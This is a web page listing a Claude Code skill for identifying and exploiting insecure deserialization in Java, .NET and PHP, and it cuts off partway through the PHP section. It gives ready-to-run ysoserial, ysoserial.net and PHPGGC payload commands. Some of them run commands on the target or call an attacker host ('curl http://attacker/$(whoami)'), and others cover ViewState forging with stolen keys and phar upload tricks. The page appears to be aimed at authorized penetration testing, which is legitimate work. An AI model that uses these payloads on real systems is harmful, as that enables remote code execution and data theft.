Skip to content
Security
Skill

/exploiting-deserialization

Identify and exploit insecure deserialization across Java, .NET, PHP, Python, and Ruby — recognizing serialized formats by magic bytes, finding gadget chains with ysoserial and ysoserial.net, and detecting blind cases via DNS or timing. Use when a request contains base64

BOOST
From plugin
secskills
17094 skills
Install
$ npx -y skills add trilwu/secskills --skill exploiting-deserialization --agent claude-code

How it fires

How this skill gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.
  • Slash command/exploiting-deserialization

Context preview

The summary Claude sees to decide when to auto-load this skill.

Identify and exploit insecure deserialization across Java, .NET, PHP, Python, and Ruby — recognizing serialized formats by magic bytes, finding gadget chains with ysoserial and ysoserial.net, and detecting blind cases via DNS or timing. Use when a request contains base64

SKILL.md

exploiting-deserialization.SKILL.md
name: exploiting-deserialization
description: Identify and exploit insecure deserialization across Java, .NET, PHP, Python, and Ruby — recognizing serialized formats by magic bytes, finding gadget chains with ysoserial and ysoserial.net, and detecting blind cases via DNS or timing. Use when a request contains base64 starting with rO0AB or AAEAAAD, when a cookie or parameter holds a serialized object, or when reviewing readObject, unserialize, pickle.loads, or Marshal.load.
verified: 2026-07-27

Exploiting Deserialization

Deserialization turns attacker-controlled bytes into live objects with attacker-chosen types. The vulnerability is not the parsing — it is that constructing those objects runs code paths the developer never intended. The work is recognizing the format, then finding a gadget chain in the libraries that happen to be on the classpath.

Only against systems you are authorized to test.

When to Use

  • A cookie, parameter, header, or message body contains a serialized object
  • You see the magic values listed below in traffic or storage
  • Source review finds `readObject`, `unserialize`, `pickle.loads`,

`Marshal.load`, `BinaryFormatter`, `yaml.load`, or `ObjectInputStream`

  • A message queue, cache, or session store holds serialized objects
  • You need to confirm a suspected blind deserialization

When NOT to Use

  • **JSON/XML parsing without object instantiation** — that is injection or XXE;

use `testing-web-applications`

  • **Source-code review as the primary task** — use

`auditing-code-for-vulnerabilities`; return here for exploitation

  • **Building a weaponized payload beyond proving impact** — prove control, stop
  • **Analyzing malware that uses deserialization** — use `analyzing-malware`

Recognize the Format

Magic bytes identify the runtime, and the runtime decides the entire approach.

| Encoding | Base64 prefix | Raw bytes | Runtime | | --- | --- | --- | --- | | Java serialization | `rO0AB` | `AC ED 00 05` | Java | | .NET `BinaryFormatter` | `AAEAAAD/////` | `00 01 00 00 00 FF FF FF FF` | .NET | | .NET `LosFormatter`/ViewState | often `/wEP` | — | ASP.NET | | PHP `serialize()` | `Tzo`, `YTo` | `O:` , `a:` | PHP | | Python pickle | `gAJ`, `gASV`, `KGRw` | `80 04`, `80 02`, `(dp` | Python | | Ruby Marshal | `BAh` | `04 08` | Ruby | | Java `Hessian`/`Burlap` | `Yw` | `63`/`48` | Java | | YAML with tags | — | `!!python/object`, `!ruby/object` | Multiple |

# Decode anything suspicious you find
echo 'rO0ABXNyABNq...' | base64 -d | xxd | head -3

# Java: readable class names appear in the stream
echo '<b64>' | base64 -d | strings | head -20

Java streams contain the class names in plaintext, which tells you both that it is deserialization and which libraries are in play.

Java

# Generate a payload for a gadget chain present on the target's classpath
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker/$(whoami)' | base64 -w0
java -jar ysoserial.jar CommonsBeanutils1 'ping -c1 attacker.example' | base64 -w0

# Blind detection first — URLDNS needs no gadget library at all
java -jar ysoserial.jar URLDNS 'http://<unique>.oast.example' | base64 -w0

**Always start with `URLDNS`.** It uses only JDK classes, so it works whenever deserialization happens at all, regardless of what libraries are present. A DNS hit confirms the vulnerability; only then is it worth guessing gadget chains.

Then determine the classpath to pick a chain:

  • Error messages and stack traces naming library classes
  • `gadgetprobe` (Burp) — sends probes that reveal which classes exist by the

difference in error behaviour

  • Version fingerprinting from the application's other responses

Common chains and what they need: `CommonsCollections1–7` (commons-collections 3.x/4.x), `CommonsBeanutils1`, `Spring1/2`, `Groovy1`, `Hibernate1`, `Jdk7u21` (no library needed, but a narrow JDK range), `ROME`, `C3P0`.

**Beyond raw serialization:** Java deserialization also reaches through JNDI. A gadget that triggers a JNDI lookup with an attacker URL gives remote class loading (the Log4Shell mechanism). Newer JDKs restrict this, so check the version before assuming it works.

.NET

# ysoserial.net — formatter matters as much as the gadget
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe"
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "cmd /c whoami > c:\\temp\\o"
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "..." \
              --generator=<viewstate-generator> --validationkey=<key> --validationalg=SHA1

Vulnerable formatters: `BinaryFormatter`, `LosFormatter`, `NetDataContractSerializer`, `ObjectStateFormatter`, `SoapFormatter`, and `Json.NET`/`XmlSerializer` **when `TypeNameHandling` is not `None`**. That last case is the most common in modern code: `TypeNameHandling.All` or `.Objects` lets the JSON specify its own `$type`, which is deserialization by another name.

rg -n 'TypeNameHandling|BinaryFormatter|LosFormatter|NetDataContractSerializer' --type cs

**ViewState** is the classic ASP.NET case. Exploitable when the MAC key is known (leaked `web.config`, a known default, or `enableViewStateMac="false"` on old versions). Extract `validationKey` and `decryptionKey` first — without them the payload is rejected.

PHP

// The magic methods that fire during and after unserialize
__wakeup(), __destruct(), __toString(), __call(), __get()
# Find a chain: PHPGGC covers the common frameworks
phpggc Laravel/RCE9 system 'id'
phpggc Monolog/RCE2 system 'id' -b        # base64 output
phpggc -l                                  # list available chains

# Phar deserialization: any file-system function on a phar:// path triggers
# unserialize of the phar metadata — file_exists, filesize, is_dir, etc.
phpggc Monolog/RCE2 system 'id' -p phar -o payload.phar
# then get it uploaded and reference it as phar://uploaded.jpg/x

Phar is the underrated vector: it turns *any* filesystem call on an atta

Read more
Ships withsecskills

**Security skills for Claude Code that encode the judgment professionals bring, not another wrapper around a scanner.** Offense, defense, and the reverse-engineering and code-audit core both sides share. Every skill is fact-checked against primary sources.

Get the whole plugin

Other skills on secskills.